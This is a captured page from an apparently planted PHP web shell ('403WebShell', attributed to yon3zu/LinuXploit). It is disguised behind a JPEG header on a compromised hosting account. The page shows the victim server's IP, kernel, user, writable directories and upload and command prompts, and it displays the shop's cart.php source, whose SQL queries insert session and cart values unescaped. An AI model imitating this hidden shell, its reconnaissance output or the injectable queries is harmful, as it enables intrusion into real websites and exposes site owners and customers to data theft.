���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.45  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/saumasale.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/saumasale.in/public_html/cart.php
<?php
    include('function.php');
    include_once('includes/db.php');
    $url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    head(
        'S & A Foods and Spices ',

        'S & A Foods and Spices ',

        'S & A Foods and Spices ',
        $url
    );
    $ob = new database();
?>
<div class="page-path">
    <div class="container">
        <div class="breadcrumbs-inner">
            <h1 class="path-title">Cart</h1>
            <ul>
                <li><a class="home-page-link" href="index.php">Home <i class="fal fa-angle-right"></i></a></li>
                <li><a class="current-page" href="#">Cart</a></li>
            </ul>
        </div>
    </div>
</div>

<div class="rts-cart-section">
    <div class="container">
        <h4 class="section-title">Product List</h4>
        <div class="row justify-content-between">
            <div class="col-xl-7">
                <div class="cart-table-area">
                    <table class="table table-bordered table-hover">
                        <thead class="thead-dark">
                            <tr>
                                <th class="low1">Product</th>
                                <th class="low7">Price</th>
                                <th class="low7">Quantity</th>
                                <th class="low7">Total</th>
                            </tr>
                        </thead>
                        <tbody class="cart_details">
                            <?php
                            $subTotal = 0;
                            $grandTotal = 0;
                            $ob->query("SELECT * FROM cart WHERE user='$_SESSION[user]'");
                            if ($ob->affected_rows() >= 1) {
                                foreach ($ob->rows() as $cart) {
                                    // var_dump($cart);
                            ?>
                                    <tr>
                                        <td>
                                            <?php
                                            $total = 0;
                                            $sizePrice = 0;
                                            $ob->query("SELECT * FROM size WHERE id='$cart[size]'");
                                            if ($ob->affected_rows() >= 1) {
                                                foreach ($ob->rows() as $size) {
                                                    $sizePrice = $size['price'];
                                                }
                                            }
                                            $ob->query("SELECT * FROM product WHERE id='$cart[product]'");
                                            if ($ob->affected_rows() >= 1) {
                                                foreach ($ob->rows() as $product) {
                                            ?>
                                                    <div class="d-flex align-items-center gap-2">
                                                        <img src="admin/<?php echo $product['image']; ?>" class="cartImg" alt="<?php echo $product['title']; ?>" />
                                                        <div class="d-flex flex-column align-items-start">
                                                            <?php echo $product['title']; ?>
                                                            <span>Size: <?php echo $size['size']; ?></span>
                                                        </div>
                                                    </div>
                                            <?php
                                                }
                                            }
                                            ?>
                                        </td>
                                        <td>
                                            <?php
                                            $total = $product['price'] + $sizePrice;
                                            
                                            echo $total;
                                            ?>
                                        </td>
                                        <td>
                                            <input type="number" class="form-control updateQty" data-id="<?php echo $cart['id']; ?>" name="cart<?php echo $cart['id']; ?>" id="<?php echo $cart['id']; ?>" value="<?php echo $cart['qty']; ?>" />
                                        </td>
                                        <td>
                                            <?php
                                            echo '₹ ' . $total * $cart['qty'];
                                            $subTotal = $subTotal + ($total * $cart['qty']);
                                            ?>
                                        </td>
                                    </tr>
                            <?php
                                }
                            }
                            ?>
                        </tbody>
                    </table>
                </div>
            </div>
            <div class="col-xl-4">
                <div class="checkout-box">
                    <span class="spend-shipping mb-4">&nbsp;<i class="fal fa-truck"></i> 
                        <span class="price fw-6">
                            <?php
                                $gst = 0;
                                if ($subTotal > 1999) {
                                    
                                } else {
                                echo 'Add ₹ '. 1999 - $subTotal .'</span> more to';
                                }
                            ?>
                            Enjoy <span class="fw-6">Free Shipping.</span>
                        </span>

                    <div class="checkout-box-inner">
                        <div class="subtotal-area">
                            <span class="title">Subtotal</span>
                            <span class="subtotal-price"><?php echo '₹ '. $subTotal; ?></span>
                        </div>
                        <div class="shipping-location">
                            <span class="shipping-to">Shipping to whole <span>India.</span> for free shipping shop over Rs 1999.</span>
                        </div>
                        <div class="total-area">
                            <span class="title">Total</span>
                            <span class="total-price"><?php echo '₹ '. $subTotal; ?></span>
                        </div>
                    </div>
                    <a href="checkout.php" class="procced-btn">Procced To Checkout</a>
                </div>
            </div>
        </div>
    </div>
</div>

<?php foter(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit